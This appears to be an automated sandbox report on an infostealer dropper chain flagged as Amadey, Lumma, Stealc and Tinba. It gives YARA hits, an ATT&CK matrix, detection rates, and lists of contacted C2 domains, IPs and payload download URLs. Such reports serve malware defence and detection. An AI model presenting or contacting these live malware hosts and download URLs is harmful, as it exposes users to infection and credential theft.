X@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,MessageBoxA,

12_2_00405BFC

Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.af0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1706192821.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2284433645.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1673986015.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: f2cd5ac1bd.exe PID: 18576, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: f2cd5ac1bd.exe PID: 18576, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0061EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		5_2_0061EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0061DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		5_2_0061DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	12 Native API	1 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	112 Process Injection	4 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	11 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	121 Registry Run Keys / Startup Folder	121 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	341 Virtualization/Sandbox Evasion	Cached Domain Credentials	341 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	112 Process Injection	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	54%	Virustotal		Browse
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	100%	Avira	HEUR/AGEN.1319135
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe	100%	Avira	HEUR/AGEN.1319135
C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	100%	Avira	HEUR/AGEN.1319135
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	100%	Avira	HEUR/AGEN.1319135
C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	100%	Avira	HEUR/AGEN.1319135
C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	100%	Avira	HEUR/AGEN.1319135
C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	39%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
hansgborn.eu	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://wrathful-jammy.cyou/T	100%	Avira URL Cloud	malware
http://185.215.113.16/well/random.exe3u	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exehpes~	0%	Avira URL Cloud	safe
https://sordid-snaked.cyou/apilWSH	100%	Avira URL Cloud	malware
https://effecterectz.xyz/apiq	100%	Avira URL Cloud	malware
https://deafeninggeh.biz/apip	100%	Avira URL Cloud	malware
http://31.41.244.11/files/burpin1/random.exeH	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php5568001	100%	Avira URL Cloud	malware
https://effecterectz.xyz/apiq	5%	Virustotal		Browse
https://shineugler.biz/	0%	Avira URL Cloud	safe
https://wrathful-jammy.cyou/T	19%	Virustotal		Browse
https://diffuculttan.xyz/api	100%	Avira URL Cloud	phishing
http://185.215.113.16/well/random.exe569001	0%	Avira URL Cloud	safe
http://185.215.113.16/Local	0%	Avira URL Cloud	safe
http://hansgborn.eu/ShtrayEasy35.exe	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe450	0%	Avira URL Cloud	safe
https://shineugler.biz/apiC	0%	Avira URL Cloud	safe
https://awake-weaves.cyou/apii	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exeQ	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exeB	0%	Avira URL Cloud	safe
https://wrathful-jammy.cyou/2	100%	Avira URL Cloud	malware
https://hansgborn.eu/ShtrayEasy35.exeL	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe5T	0%	Avira URL Cloud	safe
https://hansgborn.eu/	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exec	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe5c	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exe6139n	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exenek	0%	Avira URL Cloud	safe
http://185.215.113.16/well/random.exes	0%	Avira URL Cloud	safe
http://31.41.244.11/files/flava/random.exeW	0%	Avira URL Cloud	safe
https://hansgborn.eu/ShtrayEasy35.exe	0%	Avira URL Cloud	safe
https://effecterectz.xyz/VWSr	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hansgborn.eu	172.67.218.51	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	23.55.153.106	true	false		high
tacitglibbr.biz	104.21.50.161	true	false		high
immureprech.biz	172.67.207.38	true	false		high
deafeninggeh.biz	104.21.16.1	true	false		high
shineugler.biz	104.21.51.88	true	false		high
drive-connect.cyou	104.21.79.7	true	false		high
sordid-snaked.cyou	unknown	unknown	false		high
diffuculttan.xyz	unknown	unknown	false		high
effecterectz.xyz	unknown	unknown	false		high
awake-weaves.cyou	unknown	unknown	false		high
wrathful-jammy.cyou	unknown	unknown	false		high
debonairnukk.xyz	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
https://drive-connect.cyou/api	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
formy-spill.biz	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
https://immureprech.biz/api	false		high
print-vexer.biz	false		high
impend-differ.biz	false		high
dwell-exclaim.biz	false		high
https://hansgborn.eu/ShtrayEasy35.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/well/random.exehpes~	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.vimeo.com	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sordid-snaked.cyou/apilWSH	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wrathful-jammy.cyou/T	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe3u	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://effecterectz.xyz/apiq	378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://store.steampowered.com/subscriber_agreement/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deafeninggeh.biz/	378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deafeninggeh.biz/apip	378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/burpin1/random.exeH	skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shineugler.biz/	378e4894d2.exe, 00000006.00000002.2564846017.0000000001512000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001512000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php5568001	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://diffuculttan.xyz/api	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://s.ytimg.com;	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/Local	skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3128439872.0000000006232000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB	378e4894d2.exe, 00000006.00000003.2553689810.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566735179.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/s	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe569001	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://hansgborn.eu/ShtrayEasy35.exe	skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe450	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/privacy_agreement/	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wrathful-jammy.cyou/	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://shineugler.biz/apiC	378e4894d2.exe, 00000006.00000002.2563109445.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://awake-weaves.cyou/apii	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exeQ	skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exeB	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wrathful-jammy.cyou/2	378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exe5T	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hansgborn.eu/ShtrayEasy35.exeL	skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hansgborn.eu/	skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe5c	skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
